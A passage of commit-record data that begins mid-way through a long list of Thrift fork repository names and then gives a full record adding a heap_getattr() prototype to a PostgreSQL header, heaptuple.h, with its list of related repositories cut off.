echipSystems\/thrift,jeking3\/thrift,Fitbit\/thrift,x1957\/thrift,chenbaihu\/thrift,vashstorm\/thrift,jpgneves\/thrift,ykwd\/thrift,windofthesky\/thrift,lion117\/lib-thrift,ochinchina\/thrift,ijuma\/thrift,theopolis\/thrift,SentientTechnologies\/thrift,theopolis\/thrift,evanweible-wf\/thrift,3013216027\/thrift,hcorg\/thrift,afds\/thrift,bitemyapp\/thrift,steven-sheffey-tungsten\/thrift,nsuke\/thrift,gadLinux\/thrift,bforbis\/thrift,collinmsn\/thrift,huahang\/thrift,cjmay\/thrift,bholbrook73\/thrift,akshaydeo\/thrift,Sean-Der\/thrift,yongju-hong\/thrift,project-zerus\/thrift,ahnqirage\/thrift,collinmsn\/thrift,prathik\/thrift,flandr\/thrift,jackscott\/thrift,flandr\/thrift,NOMORECOFFEE\/thrift,flandr\/thrift,hcorg\/thrift,rmhartog\/thrift,dtmuller\/thrift,mindcandy\/thrift,dwnld\/thrift,ijuma\/thrift,JoeEnnever\/thrift,eamosov\/thrift,dtmuller\/thrift,dtmuller\/thrift,terminalcloud\/thrift,joshuabezaleel\/thrift,Sean-Der\/thrift,ykwd\/thrift,Fitbit\/thrift,bitemyapp\/thrift,jfarrell\/thrift,markerickson-wf\/thrift,bgould\/thrift,tylertreat\/thrift,chentao\/thrift,bmiklautz\/thrift,apache\/thrift,SentientTechnologies\/thrift,upfluence\/thrift,dcelasun\/thrift,selaselah\/thrift,rmhartog\/thrift,ochinchina\/thrift,Pertino\/thrift,jpgneves\/thrift,timse\/thrift,3013216027\/thrift,SuperAwesomeLTD\/thrift,Sean-Der\/thrift,SuperAwesomeLTD\/thrift,NOMORECOFFEE\/thrift,crisish\/thrift,dsturnbull\/thrift,jfarrell\/thrift,windofthesky\/thrift,SentientTechnologies\/thrift,dsturnbull\/thrift,collinmsn\/thrift,yongju-hong\/thrift,RobberPhex\/thrift,bgould\/thrift,zzmp\/thrift,jfarrell\/thrift,wfxiang08\/thrift,windofthesky\/thrift,SentientTechnologies\/thrift,haruwo\/thrift-with-java-annotation-support,Pertino\/thrift,ahnqirage\/thrift,SirWellington\/thrift,akshaydeo\/thrift,SirWellington\/thrift,bitemyapp\/thrift,ahnqirage\/thrift,upfluence\/thrift,guodongxiaren\/thrift,SuperAwesomeLTD\/thrift,wfxiang08\/thrift,gadLinux\/thrift,siemens\/thrift,pinterest\/thrift,eamosov\/thrift,dcelasun\/thrift,afds\/thrift,collinmsn\/thrift,guodongxiaren\/thrift,afds\/thrift,selaselah\/thrift,EasonYi\/thrift,authbox-lib\/thrift,jpgneves\/thrift,yongju-hong\/thrift,elloray\/thrift,SentientTechnologies\/thrift,eonezhang\/thrift,project-zerus\/thrift,chentao\/thrift,weweadsl\/thrift,lion117\/lib-thrift,rewardStyle\/apache.thrift,yongju-hong\/thrift,spicavigo\/thrift,Pertino\/thrift,akshaydeo\/thrift,bitemyapp\/thrift,dongjiaqiang\/thrift,lion117\/lib-thrift,bitfinder\/thrift,bholbrook73\/thrift,guodongxiaren\/thrift,strava\/thrift,pinterest\/thrift,roshan\/thrift,gadLinux\/thrift,evanweible-wf\/thrift,mway08\/thrift,bufferoverflow\/thrift,apache\/thrift,crisish\/thrift,cjmay\/thrift,ykwd\/thrift,NOMORECOFFEE\/thrift,project-zerus\/thrift,bitemyapp\/thrift,joshuabezaleel\/thrift,joshuabezaleel\/thrift,afds\/thrift,mindcandy\/thrift,bitfinder\/thrift,dsturnbull\/thrift,jpgneves\/thrift,jfarrell\/thrift,jackscott\/thrift,spicavigo\/thrift,SuperAwesomeLTD\/thrift,dcelasun\/thrift,evanweible-wf\/thrift,msonnabaum\/thrift,dtmuller\/thrift,wingedkiwi\/thrift,3013216027\/thrift,roshan\/thrift,project-zerus\/thrift,spicavigo\/thrift,creker\/thrift,bufferoverflow\/thrift,NOMORECOFFEE\/thrift,weweadsl\/thrift,BluechipSystems\/thrift,weweadsl\/thrift,terminalcloud\/thrift,strava\/thrift,bitfinder\/thrift,yongju-hong\/thrift,pinterest\/thrift,wingedkiwi\/thrift,i\/thrift,upfluence\/thrift,JoeEnnever\/thrift,Sean-Der\/thrift,bforbis\/thrift,bgould\/thrift,dcelasun\/thrift,upfluence\/thrift,ochinchina\/thrift,elloray\/thrift,steven-sheffey-tungsten\/thrift,huahang\/thrift,bmiklautz\/thrift,jpgneves\/thrift,vashstorm\/thrift,joshuabezaleel\/thrift,Sean-Der\/thrift,jeking3\/thrift,authbox-lib\/thrift,bitfinder\/thrift,haruwo\/thrift-with-java-annotation-support,3013216027\/thrift,tanmaykm\/thrift,elloray\/thrift,jeking3\/thrift,haruwo\/thrift-with-java-annotation-support,project-zerus\/thrift,SentientTechnologies\/thrift,haruwo\/thrift-with-java-annotation-support,mway08\/thrift,roshan\/thrift,reTXT\/thrift,ijuma\/thrift,prathik\/thrift,markerickson-wf\/thrift,gadLinux\/thrift,dsturnbull\/thrift,apache\/thrift,project-zerus\/thrift,cjmay\/thrift,Jens-G\/thrift,windofthesky\/thrift,hcorg\/thrift,creker\/thrift,timse\/thrift,fernandobt8\/thrift,prashantv\/thrift,terminalcloud\/thrift,creker\/thrift,ahnqirage\/thrift,guodongxiaren\/thrift,Jens-G\/thrift,nsuke\/thrift,Jimdo\/thrift,joshuabezaleel\/thrift,Sean-Der\/thrift,jackscott\/thrift,alfredtofu\/thrift,reTXT\/thrift,dwnld\/thrift,wingedkiwi\/thrift,roshan\/thrift,akshaydeo\/thrift,jfarrell\/thrift,Jens-G\/thrift,eamosov\/thrift,yongju-hong\/thrift,huahang\/thrift,SirWellington\/thrift,haruwo\/thrift-with-java-annotation-support,bmiklautz\/thrift,3013216027\/thrift,crisish\/thrift,evanweible-wf\/thrift,dtmuller\/thrift,steven-sheffey-tungsten\/thrift,authbox-lib\/thrift,markerickson-wf\/thrift,jfarrell\/thrift,collinmsn\/thrift,eamosov\/thrift,guodongxiaren\/thrift,hcorg\/thrift,rmhartog\/thrift,jackscott\/thrift,zhaorui1\/thrift,Jimdo\/thrift,vashstorm\/thrift,bforbis\/thrift,nsuke\/thrift,creker\/thrift,adamvduke\/thrift-adamd,JoeEnnever\/thrift,hcorg\/thrift,collinmsn\/thrift,3013216027\/thrift,flandr\/thrift,strava\/thrift,prathik\/thrift,NOMORECOFFEE\/thrift,cjmay\/thrift,flamholz\/thrift,selaselah\/thrift,roshan\/thrift,gadLinux\/thrift,strava\/thrift,JoeEnnever\/thrift,markerickson-wf\/thrift,Jimdo\/thrift,flandr\/thrift,dcelasun\/thrift,edvakf\/thrift,hcorg\/thrift,bmiklautz\/thrift,SuperAwesomeLTD\/thrift,ijuma\/thrift,huahang\/thrift,bforbis\/thrift,zhaorui1\/thrift,creker\/thrift,jpgneves\/thrift,evanweible-wf\/thrift,steven-sheffey-tungsten\/thrift,flamholz\/thrift,SuperAwesomeLTD\/thrift,koofr\/thrift,SirWellington\/thrift,SirWellington\/thrift,wfxiang08\/thrift,roshan\/thrift,dsturnbull\/thrift,Pertino\/thrift,bmiklautz\/thrift,siemens\/thrift,flandr\/thrift,markerickson-wf\/thrift,x1957\/thrift,Sean-Der\/thrift,fernandobt8\/thrift,dwnld\/thrift,haruwo\/thrift-with-java-annotation-support,steven-sheffey-tungsten\/thrift,crisish\/thrift,timse\/thrift,gadLinux\/thrift,weweadsl\/thrift,creker\/thrift,SuperAwesomeLTD\/thrift,windofthesky\/thrift,adamvduke\/thrift-adamd,pinterest\/thrift,bholbrook73\/thrift,ykwd\/thrift,rewardStyle\/apache.thrift,tylertreat\/thrift,dongjiaqiang\/thrift,JoeEnnever\/thrift,bmiklautz\/thrift,gadLinux\/thrift,JoeEnnever\/thrift,JoeEnnever\/thrift,wingedkiwi\/thrift,zhaorui1\/thrift,strava\/thrift,guodongxiaren\/thrift,strava\/thrift,RobberPhex\/thrift,ahnqirage\/thrift,fernandobt8\/thrift,mway08\/thrift,upfluence\/thrift,dsturnbull\/thrift,wfxiang08\/thrift,Pertino\/thrift,rmhartog\/thrift,rewardStyle\/apache.thrift,eamosov\/thrift,steven-sheffey-tungsten\/thrift,afds\/thrift,tanmaykm\/thrift,weweadsl\/thrift,nsuke\/thrift,SuperAwesomeLTD\/thrift,msonnabaum\/thrift,weweadsl\/thrift,steven-sheffey-tungsten\/thrift,ykwd\/thrift,selaselah\/thrift,rmhartog\/thrift,dcelasun\/thrift,upfluence\/thrift,ochinchina\/thrift,apache\/thrift,prathik\/thrift,Jimdo\/thrift,Jimdo\/thrift,koofr\/thrift,x1957\/thrift,steven-sheffey-tungsten\/thrift,3013216027\/thrift,joshuabezaleel\/thrift,guodongxiaren\/thrift,hcorg\/thrift,evanweible-wf\/thrift,apache\/thrift,rmhartog\/thrift,bforbis\/thrift,reTXT\/thrift,prathik\/thrift,crisish\/thrift,ykwd\/thrift,bholbrook73\/thrift,SentientTechnologies\/thrift,akshaydeo\/thrift,BluechipSystems\/thrift,spicavigo\/thrift,dwnld\/thrift,eamosov\/thrift,alfredtofu\/thrift,eonezhang\/thrift,flandr\/thrift,edvakf\/thrift,ochinchina\/thrift,koofr\/thrift,chentao\/thrift,ahnqirage\/thrift,ykwd\/thrift,wfxiang08\/thrift,RobberPhex\/thrift,adamvduke\/thrift-adamd,bforbis\/thrift,flandr\/thrift,elloray\/thrift,eamosov\/thrift,tanmaykm\/thrift,nsuke\/thrift,ahnqirage\/thrift,flamholz\/thrift,RobberPhex\/thrift,authbox-lib\/thrift,nsuke\/thrift,lion117\/lib-thrift,steven-sheffey-tungsten\/thrift,selaselah\/thrift,tylertreat\/thrift,x1957\/thrift,bmiklautz\/thrift,nsuke\/thrift,eamosov\/thrift,dongjiaqiang\/thrift,timse\/thrift,i\/thrift,upfluence\/thrift,BluechipSystems\/thrift,creker\/thrift,siemens\/thrift,evanweible-wf\/thrift,prathik\/thrift,koofr\/thrift,reTXT\/thrift,koofr\/thrift,dwnld\/thrift,ochinchina\/thrift,dcelasun\/thrift,tylertreat\/thrift,koofr\/thrift,siemens\/thrift,dtmuller\/thrift,jackscott\/thrift,fernandobt8\/thrift,eamosov\/thrift,timse\/thrift,yongju-hong\/thrift,upfluence\/thrift,wingedkiwi\/thrift,roshan\/thrift,pinterest\/thrift,prashantv\/thrift,SirWellington\/thrift,fernandobt8\/thrift,collinmsn\/thrift,EasonYi\/thrift,dwnld\/thrift,BluechipSystems\/thrift,gadLinux\/thrift,vashstorm\/thrift,dongjiaqiang\/thrift,SentientTechnologies\/thrift,Sean-Der\/thrift,bufferoverflow\/thrift,siemens\/thrift,elloray\/thrift,bforbis\/thrift,cjmay\/thrift,jpgneves\/thrift,3013216027\/thrift,flandr\/thrift,huahang\/thrift,afds\/thrift,ochinchina\/thrift,joshuabezaleel\/thrift,tylertreat\/thrift,terminalcloud\/thrift,Sean-Der\/thrift,dongjiaqiang\/thrift,vashstorm\/thrift,alfredtofu\/thrift,zhaorui1\/thrift,afds\/thrift,JoeEnnever\/thrift,jeking3\/thrift,creker\/thrift,spicavigo\/thrift,markerickson-wf\/thrift,upfluence\/thrift,chenbaihu\/thrift,huahang\/thrift,msonnabaum\/thrift,bufferoverflow\/thrift,bitfinder\/thrift,BluechipSystems\/thrift,Jimdo\/thrift,Sean-Der\/thrift,bgould\/thrift,lion117\/lib-thrift,wingedkiwi\/thrift,jeking3\/thrift,project-zerus\/thrift,edvakf\/thrift,SuperAwesomeLTD\/thrift,bgould\/thrift,mway08\/thrift,theopolis\/thrift,chenbaihu\/thrift,huahang\/thrift,collinmsn\/thrift,akshaydeo\/thrift,bufferoverflow\/thrift,authbox-lib\/thrift,springheeledjak\/thrift,hcorg\/thrift,edvakf\/thrift,crisish\/thrift,dongjiaqiang\/thrift,mway08\/thrift,nsuke\/thrift,spicavigo\/thrift,prashantv\/thrift,cjmay\/thrift,chentao\/thrift,pinterest\/thrift,flamholz\/thrift,Fitbit\/thrift,alfredtofu\/thrift,springheeledjak\/thrift,mway08\/thrift,Fitbit\/thrift,joshuabezaleel\/thrift,Jimdo\/thrift,msonnabaum\/thrift,huahang\/thrift,ykwd\/thrift,selaselah\/thrift,authbox-lib\/thrift,crisish\/thrift,msonnabaum\/thrift,alfredtofu\/thrift,mindcandy\/thrift,chentao\/thrift,selaselah\/thrift,zzmp\/thrift,haruwo\/thrift-with-java-annotation-support,Fitbit\/thrift,Sean-Der\/thrift,chentao\/thrift,Pertino\/thrift,x1957\/thrift,theopolis\/thrift,zhaorui1\/thrift,prashantv\/thrift,evanweible-wf\/thrift,bgould\/thrift,mindcandy\/thrift,dongjiaqiang\/thrift,wingedkiwi\/thrift,springheeledjak\/thrift,zhaorui1\/thrift,siemens\/thrift,authbox-lib\/thrift,RobberPhex\/thrift,jeking3\/thrift,EasonYi\/thrift,springheeledjak\/thrift,dsturnbull\/thrift,afds\/thrift,alfredtofu\/thrift,bforbis\/thrift,spicavigo\/thrift,ykwd\/thrift,Jimdo\/thrift,EasonYi\/thrift,prathik\/thrift,spicavigo\/thrift,akshaydeo\/thrift,guodongxiaren\/thrift,wfxiang08\/thrift,elloray\/thrift,bholbrook73\/thrift,reTXT\/thrift,jackscott\/thrift,dtmuller\/thrift,lion117\/lib-thrift,zzmp\/thrift,nsuke\/thrift,nsuke\/thrift,SirWellington\/thrift,spicavigo\/thrift,RobberPhex\/thrift,SentientTechnologies\/thrift,jeking3\/thrift,Jens-G\/thrift,theopolis\/thrift,adamvduke\/thrift-adamd,mindcandy\/thrift,windofthesky\/thrift,3013216027\/thrift,rewardStyle\/apache.thrift,jpgneves\/thrift,bholbrook73\/thrift,edvakf\/thrift,ijuma\/thrift,ahnqirage\/thrift,eonezhang\/thrift,RobberPhex\/thrift,eamosov\/thrift,steven-sheffey-tungsten\/thrift,rmhartog\/thrift,cjmay\/thrift,prathik\/thrift,dongjiaqiang\/thrift,strava\/thrift,flamholz\/thrift,RobberPhex\/thrift,ochinchina\/thrift,huahang\/thrift,yongju-hong\/thrift,mway08\/thrift,Pertino\/thrift,reTXT\/thrift,jfarrell\/thrift,cjmay\/thrift,crisish\/thrift,i\/thrift,fernandobt8\/thrift,ijuma\/thrift,tanmaykm\/thrift,dcelasun\/thrift,Fitbit\/thrift,afds\/thrift,bholbrook73\/thrift,evanweible-wf\/thrift,upfluence\/thrift,x1957\/thrift,tanmaykm\/thrift,bitfinder\/thrift,reTXT\/thrift,tylertreat\/thrift,wfxiang08\/thrift,chentao\/thrift,EasonYi\/thrift,bforbis\/thrift,edvakf\/thrift,wfxiang08\/thrift,creker\/thrift,flamholz\/thrift,fernandobt8\/thrift,i\/thrift,edvakf\/thrift,eonezhang\/thrift,siemens\/thrift,ijuma\/thrift,zzmp\/thrift,eonezhang\/thrift,eamosov\/thrift,edvakf\/thrift,rmhartog\/thrift,Jens-G\/thrift,RobberPhex\/thrift,3013216027\/thrift,koofr\/thrift,dsturnbull\/thrift,Fitbit\/thrift,dcelasun\/thrift,mindcandy\/thrift,yongju-hong\/thrift,apache\/thrift,prashantv\/thrift,yongju-hong\/thrift,jfarrell\/thrift,dwnld\/thrift,apache\/thrift,gadLinux\/thrift,jfarrell\/thrift,x1957\/thrift,eonezhang\/thrift,bitemyapp\/thrift,Jens-G\/thrift,bholbrook73\/thrift,gadLinux\/thrift,bmiklautz\/thrift,rewardStyle\/apache.thrift,wfxiang08\/thrift,haruwo\/thrift-with-java-annotation-support,flamholz\/thrift,SentientTechnologies\/thrift,lion117\/lib-thrift,SirWellington\/thrift,weweadsl\/thrift,chenbaihu\/thrift,adamvduke\/thrift-adamd,afds\/thrift,bforbis\/thrift,RobberPhex\/thrift,Jens-G\/thrift,selaselah\/thrift,steven-sheffey-tungsten\/thrift,bufferoverflow\/thrift,haruwo\/thrift-with-java-annotation-support,adamvduke\/thrift-adamd,ochinchina\/thrift,apache\/thrift,edvakf\/thrift,project-zerus\/thrift,project-zerus\/thrift,hcorg\/thrift,chenbaihu\/thrift,guodongxiaren\/thrift,theopolis\/thrift,strava\/thrift,pinterest\/thrift,strava\/thrift,huahang\/thrift,dwnld\/thrift,apache\/thrift,Jimdo\/thrift,springheeledjak\/thrift,SentientTechnologies\/thrift,zzmp\/thrift,evanweible-wf\/thrift,cjmay\/thrift,vashstorm\/thrift,theopolis\/thrift,JoeEnnever\/thrift,Jens-G\/thrift,BluechipSystems\/thrift,strava\/thrift,gadLinux\/thrift,elloray\/thrift,ahnqirage\/thrift,eonezhang\/thrift,mindcandy\/thrift,weweadsl\/thrift,ijuma\/thrift,dongjiaqiang\/thrift,siemens\/thrift,vashstorm\/thrift,roshan\/thrift,bgould\/thrift,bmiklautz\/thrift,haruwo\/thrift-with-java-annotation-support,Fitbit\/thrift,eamosov\/thrift,i\/thrift,Pertino\/thrift,jackscott\/thrift,flamholz\/thrift,elloray\/thrift,NOMORECOFFEE\/thrift,siemens\/thrift,BluechipSystems\/thrift,chenbaihu\/thrift,huahang\/thrift,eonezhang\/thrift,chenbaihu\/thrift,chentao\/thrift,eonezhang\/thrift,terminalcloud\/thrift,alfredtofu\/thrift,nsuke\/thrift,Fitbit\/thrift,siemens\/thrift,chenbaihu\/thrift,prashantv\/thrift,adamvduke\/thrift-adamd,Fitbit\/thrift,yongju-hong\/thrift,rmhartog\/thrift,bholbrook73\/thrift,ochinchina\/thrift,jfarrell\/thrift,3013216027\/thrift,Jens-G\/thrift,tylertreat\/thrift,RobberPhex\/thrift,i\/thrift,mway08\/thrift,weweadsl\/thrift,zzmp\/thrift,tylertreat\/thrift,Fitbit\/thrift,chentao\/thrift,roshan\/thrift,adamvduke\/thrift-adamd,markerickson-wf\/thrift,springheeledjak\/thrift,reTXT\/thrift,joshuabezaleel\/thrift,markerickson-wf\/thrift,i\/thrift,akshaydeo\/thrift,dcelasun\/thrift,dwnld\/thrift,Jens-G\/thrift,cjmay\/thrift,dtmuller\/thrift,collinmsn\/thrift,project-zerus\/thrift,tanmaykm\/thrift,eamosov\/thrift,nsuke\/thrift,crisish\/thrift,cjmay\/thrift,windofthesky\/thrift,dtmuller\/thrift,eonezhang\/thrift,joshuabezaleel\/thrift,fernandobt8\/thrift,selaselah\/thrift,RobberPhex\/thrift,terminalcloud\/thrift,springheeledjak\/thrift,rmhartog\/thrift,akshaydeo\/thrift,ahnqirage\/thrift,apache\/thrift,bforbis\/thrift,EasonYi\/thrift,lion117\/lib-thrift,dtmuller\/thrift,mindcandy\/thrift,alfredtofu\/thrift,prashantv\/thrift,nsuke\/thrift,bforbis\/thrift,strava\/thrift,mindcandy\/thrift,mindcandy\/thrift,bufferoverflow\/thrift,bitemyapp\/thrift,yongju-hong\/thrift,bitfinder\/thrift,dtmuller\/thrift,selaselah\/thrift,yongju-hong\/thrift,SirWellington\/thrift,ijuma\/thrift,NOMORECOFFEE\/thrift,collinmsn\/thrift,eonezhang\/thrift,wingedkiwi\/thrift,dcelasun\/thrift,authbox-lib\/thrift,authbox-lib\/thrift,ochinchina\/thrift,edvakf\/thrift,edvakf\/thrift,vashstorm\/thrift,zzmp\/thrift,prathik\/thrift,tanmaykm\/thrift,EasonYi\/thrift,Jimdo\/thrift,yongju-hong\/thrift,i\/thrift,bitfinder\/thrift,elloray\/thrift,terminalcloud\/thrift,zhaorui1\/thrift,collinmsn\/thrift,prashantv\/thrift,jackscott\/thrift,ahnqirage\/thrift,hcorg\/thrift,Pertino\/thrift,cjmay\/thrift,jeking3\/thrift,jackscott\/thrift,bufferoverflow\/thrift,dsturnbull\/thrift,gadLinux\/thrift,dcelasun\/thrift,rewardStyle\/apache.thrift,Sean-Der\/thrift,terminalcloud\/thrift,msonnabaum\/thrift,SirWellington\/thrift,Jimdo\/thrift,upfluence\/thrift,x1957\/thrift,reTXT\/thrift,jpgneves\/thrift,dcelasun\/thrift,flamholz\/thrift,koofr\/thrift,markerickson-wf\/thrift,jfarrell\/thrift,bgould\/thrift,pinterest\/thrift,creker\/thrift,bitfinder\/thrift,eamosov\/thrift,weweadsl\/thrift,spicavigo\/thrift,EasonYi\/thrift,apache\/thrift,afds\/thrift,bitemyapp\/thrift,dsturnbull\/thrift,adamvduke\/thrift-adamd,theopolis\/thrift,SentientTechnologies\/thrift,yongju-hong\/thrift,chentao\/thrift,x1957\/thrift,eamosov\/thrift,bforbis\/thrift,jeking3\/thrift,mway08\/thrift,prashantv\/thrift,joshuabezaleel\/thrift,x1957\/thrift,fernandobt8\/thrift,project-zerus\/thrift,timse\/thrift,bitemyapp\/thrift,wfxiang08\/thrift,timse\/thrift,collinmsn\/thrift,EasonYi\/thrift,dcelasun\/thrift,bholbrook73\/thrift,timse\/thrift,zhaorui1\/thrift,ochinchina\/thrift,apache\/thrift,reTXT\/thrift,dwnld\/thrift,wingedkiwi\/thrift,BluechipSystems\/thrift,dongjiaqiang\/thrift,tylertreat\/thrift,selaselah\/thrift,Jens-G\/thrift,strava\/thrift,strava\/thrift,BluechipSystems\/thrift,bmiklautz\/thrift,steven-sheffey-tungsten\/thrift,reTXT\/thrift,apache\/thrift,bgould\/thrift,eamosov\/thrift,SentientTechnologies\/thrift,bitemyapp\/thrift,cjmay\/thrift,chentao\/thrift,bufferoverflow\/thrift,lion117\/lib-thrift,zzmp\/thrift,alfredtofu\/thrift,bgould\/thrift,prathik\/thrift,bholbrook73\/thrift,JoeEnnever\/thrift,wingedkiwi\/thrift,bitemyapp\/thrift,apache\/thrift,alfredtofu\/thrift,i\/thrift,markerickson-wf\/thrift"}
{"commit":"1c5fa955cdf5999bcb941130f02528090a37981e","old_file":"src\/include\/access\/heaptuple.h","new_file":"src\/include\/access\/heaptuple.h","old_contents":"","new_contents":"\/*-------------------------------------------------------------------------\n *\n * heaptuple.h--\n *    \n *\n *\n * Copyright (c) 1994, Regents of the University of California\n *\n * $Id: heaptuple.h,v 1.1 1996\/10\/18 17:58:33 scrappy Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef\tHEAPTUPLE_H\n#define HEAPTUPLE_H\n\nextern char *heap_getattr(HeapTuple tup,\n                          Buffer b,\n                          int attnum,\n                          TupleDesc tupleDesc,\n                          bool *isnull);\n\n#endif\t\/* HEAP_TUPLE_H *\/ \n","subject":"Add prototype for heap_getattr() to quiet compiler","message":"Add prototype for heap_getattr() to quiet compiler\n","lang":"C","license":"mpl-2.0","repos":"techdragon\/Postgres-XL,kaknikhil\/gpdb,yazun\/postgres-xl,arcivanov\/postgres-xl,zaksoup\/gpdb,atris\/gpdb,janebeckman\/gpdb,rvs\/gpdb,oberstet\/postgres-xl,xuegang\/gpdb,zaksoup\/gpdb,jmcatamney\/gpdb,jmcatamney\/gpdb,zaksoup\/gpdb,randomtask1155\/gpdb,lpetrov-pivotal\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,pavanvd\/postgres-xl,xuegang\/gpdb,zeroae\/postgres-xl,greenplum-db\/gpdb,0x0FFF\/gpdb,oberstet\/postgres-xl,zaksoup\/gpdb,xinzweb\/gpdb,rvs\/gpdb,kaknikhil\/gpdb,ahachete\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,Chibin\/gpdb,postmind-net\/postgres-xl,edespino\/gpdb,royc1\/gpdb,zeroae\/postgres-xl,ahachete\/gpdb,xuegang\/gpdb,chrishajas\/gpdb,techdragon\/Postgres-XL,kaknikhil\/gpdb,xuegang\/gpdb,0x0FFF\/gpdb,rubikloud\/gpdb,royc1\/gpdb,randomtask1155\/gpdb,cjcjameson\/gpdb,adam8157\/gpdb,ashwinstar\/gpdb,rvs\/gpdb,kaknikhil\/gpdb,Quikling\/gpdb,Chibin\/gpdb,tpostgres-projects\/tPostgres,jmcatamney\/gpdb,oberstet\/postgres-xl,rubikloud\/gpdb,zaksoup\/gpdb,tangp3\/gpdb,pavanvd\/postgres-xl,ovr\/postgres-xl,tangp3\/gpdb,atris\/gpdb,greenplum-db\/gpdb,zeroae\/postgres-xl,rvs\/gpdb,yuanzhao\/gpdb,cjcjameson\/gpdb,lpetrov-pivotal\/gpdb,chrishajas\/gpdb,rvs\/gpdb,chrishajas\/gpdb,greenplum-db\/gpdb,50wu\/gpdb,CraigHarris\/gpdb,royc1\/gpdb,CraigHarris\/gpdb,ahachete\/gpdb,yuanzhao\/gpdb,techdragon\/Postgres-XL,royc1\/gpdb,yuanzhao\/gpdb,lisakowen\/gpdb,tangp3\/gpdb,tangp3\/gpdb,lpetrov-pivotal\/gpdb,xinzweb\/gpdb,zeroae\/postgres-xl,lintzc\/gpdb,xuegang\/gpdb,0x0FFF\/gpdb,kaknikhil\/gpdb,Postgres-XL\/Postgres-XL,Quikling\/gpdb,lisakowen\/gpdb,atris\/gpdb,postmind-net\/postgres-xl,ashwinstar\/gpdb,foyzur\/gpdb,50wu\/gpdb,yuanzhao\/gpdb,chrishajas\/gpdb,snaga\/postgres-xl,CraigHarris\/gpdb,zeroae\/postgres-xl,ahachete\/gpdb,arcivanov\/postgres-xl,cjcjameson\/gpdb,Quikling\/gpdb,cjcjameson\/gpdb,tpostgres-projects\/tPostgres,randomtask1155\/gpdb,foyzur\/gpdb,CraigHarris\/gpdb,rubikloud\/gpdb,Chibin\/gpdb,edespino\/gpdb,postmind-net\/postgres-xl,greenplum-db\/gpdb,rvs\/gpdb,lintzc\/gpdb,randomtask1155\/gpdb,lisakowen\/gpdb,cjcjameson\/gpdb,techdragon\/Postgres-XL,ashwinstar\/gpdb,CraigHarris\/gpdb,randomtask1155\/gpdb,zaksoup\/gpdb,ovr\/postgres-xl,arcivanov\/postgres-xl,lisakowen\/gpdb,atris\/gpdb,lintzc\/gpdb,cjcjameson\/gpdb,chrishajas\/gpdb,pavanvd\/postgres-xl,cjcjameson\/gpdb,pavanvd\/postgres-xl,adam8157\/gpdb,kaknikhil\/gpdb,xuegang\/gpdb,jmcatamney\/gpdb,yuanzhao\/gpdb,snaga\/postgres-xl,lintzc\/gpdb,rvs\/gpdb,atris\/gpdb,adam8157\/gpdb,kmjungersen\/PostgresXL,kaknikhil\/gpdb,foyzur\/gpdb,foyzur\/gpdb,janebeckman\/gpdb,tpostgres-projects\/tPostgres,yuanzhao\/gpdb,Quikling\/gpdb,tpostgres-projects\/tPostgres,lpetrov-pivotal\/gpdb,Quikling\/gpdb,snaga\/postgres-xl,randomtask1155\/gpdb,CraigHarris\/gpdb,tangp3\/gpdb,lintzc\/gpdb,techdragon\/Postgres-XL,lisakowen\/gpdb,xuegang\/gpdb,0x0FFF\/gpdb,Postgres-XL\/Postgres-XL,royc1\/gpdb,adam8157\/gpdb,CraigHarris\/gpdb,lpetrov-pivotal\/gpdb,randomtask1155\/gpdb,janebeckman\/gpdb,CraigHarris\/gpdb,ahachete\/gpdb,xinzweb\/gpdb,Chibin\/gpdb,0x0FFF\/gpdb,edespino\/gpdb,50wu\/gpdb,postmind-net\/postgres-xl,Quikling\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,janebeckman\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,tpostgres-projects\/tPostgres,Chibin\/gpdb,chrishajas\/gpdb,kmjungersen\/PostgresXL,kmjungersen\/PostgresXL,lintzc\/gpdb,tangp3\/gpdb,yazun\/postgres-xl,janebeckman\/gpdb,rubikloud\/gpdb,50wu\/gpdb,50wu\/gpdb,edespino\/gpdb,ashwinstar\/gpdb,jmcatamney\/gpdb,ahachete\/gpdb,xuegang\/gpdb,ahachete\/gpdb,Quikling\/gpdb,lintzc\/gpdb,Chibin\/gpdb,postmind-net\/postgres-xl,pavanvd\/postgres-xl,yuanzhao\/gpdb,edespino\/gpdb,jmcatamney\/gpdb,lpetrov-pivotal\/gpdb,janebeckman\/gpdb,rvs\/gpdb,arcivanov\/postgres-xl,Postgres-XL\/Postgres-XL,0x0FFF\/gpdb,cjcjameson\/gpdb,lpetrov-pivotal\/gpdb,yazun\/postgres-xl,lintzc\/gpdb,ashwinstar\/gpdb,Quikling\/gpdb,adam8157\/gpdb,snaga\/postgres-xl,ovr\/postgres-xl,foyzur\/gpdb,tangp3\/gpdb,rubikloud\/gpdb,janebeckman\/gpdb,ashwinstar\/gpdb,50wu\/gpdb,atris\/gpdb,chrishajas\/gpdb,greenplum-db\/gpdb,jmcatamney\/gpdb,ovr\/postgres-xl,50wu\/gpdb,foyzur\/gpdb,edespino\/gpdb,snaga\/postgres-xl,rubikloud\/gpdb,royc1\/gpdb,janebeckman\/gpdb,kmjungersen\/PostgresXL,oberstet\/postgres-xl,adam8157\/gpdb,chrishajas\/gpdb,atris\/gpdb,kaknikhil\/gpdb,lisakowen\/gpdb,Chibin\/gpdb,zaksoup\/gpdb,ahachete\/gpdb,tangp3\/gpdb,oberstet\/postgres-xl,royc1\/gpdb,50wu\/gpdb,xinzweb\/gpdb,foyzur\/gpdb,edespino\/gpdb,kaknikhil\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,rubikloud\/gpdb,ashwinstar\/gpdb,xuegang\/gpdb,CraigHarris\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,zaksoup\/gpdb,edespino\/gpdb,Chibin\/gpdb,royc1\/gpdb,kmjungersen\/PostgresXL,jmcatamney\/gpdb,Postgres-XL\/Postgres-XL,Postgres-XL\/Postgres-XL,edespino\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,ashwinstar\/gpdb,Chibin\/gpdb,atris\/gpdb,yazun\/postgres-xl,0x0FFF\/gpdb,yazun\/postgres-xl,cjcjameson\/gpdb,adam8157\/gpdb,randomtask1155\/gpdb,Quikling\/gpdb,xinzweb\/gpdb,janebeckman\/gpdb,0x0FFF\/gpdb,lisakowen\/gpdb,lpetrov-pivotal\/gpdb,rvs\/gpdb,rvs\/gpdb,edespino\/gpdb,arcivanov\/postgres-xl,Chibin\/gpdb,ovr\/postgres-xl,lisakowen\/gpdb,foyzur\/gpdb,cjcjameson\